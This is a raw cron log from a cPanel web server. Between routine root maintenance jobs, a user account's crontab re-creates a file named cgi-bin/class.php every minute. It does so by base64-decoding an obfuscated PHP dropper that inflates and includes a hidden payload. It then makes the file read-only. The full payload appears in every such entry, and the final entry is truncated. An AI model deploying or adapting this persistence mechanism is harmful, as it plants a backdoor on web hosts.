Sep 11 07:56:01 server CROND[19061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:57:01 server CROND[19445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:57:01 server CROND[19446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:57:01 server CROND[19447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:57:01 server CROND[19448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:58:01 server CROND[19835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:58:01 server CROND[19834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:58:01 server CROND[19836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:59:01 server CROND[20445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:59:01 server CROND[20446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:59:01 server CROND[20447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:00:01 server CROND[20840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:00:01 server CROND[20841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:00:01 server CROND[20846]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 11 08:00:01 server CROND[20857]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 08:00:01 server CROND[20860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:00:01 server CROND[20858]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 08:00:01 server CROND[20859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:00:01 server CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:00:01 server CROND[20864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:00:01 server CROND[20856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:00:01 server CROND[20861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:01:01 server CROND[21883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:01:01 server CROND[21882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:01:01 server CROND[21884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:01:01 server CROND[21885]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 08:01:01 server run-parts(/etc/cron.hourly)[21885]: starting 0anacron
Sep 11 08:01:01 server run-parts(/etc/cron.hourly)[21902]: finished 0anacron
Sep 11 08:02:01 server CROND[22271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:02:01 server CROND[22272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:02:01 server CROND[22270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:03:01 server CROND[22706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:03:01 server CROND[22707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:03:01 server CROND[22708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:04:01 server CROND[23260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:04:01 server CROND[23261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:04:01 server CROND[23262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:05:01 server CROND[23653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:05:01 server CROND[23652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:05:01 server CROND[23655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:05:01 server CROND[23654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:05:01 server CROND[23665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:05:01 server CROND[23668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:05:01 server CROND[23666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:05:01 server CROND[23667]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 08:05:01 server CROND[23669]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:06:01 server CROND[24611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:06:01 server CROND[24612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:06:01 server CROND[24613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:07:01 server CROND[24993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:07:01 server CROND[24994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:07:01 server CROND[24995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC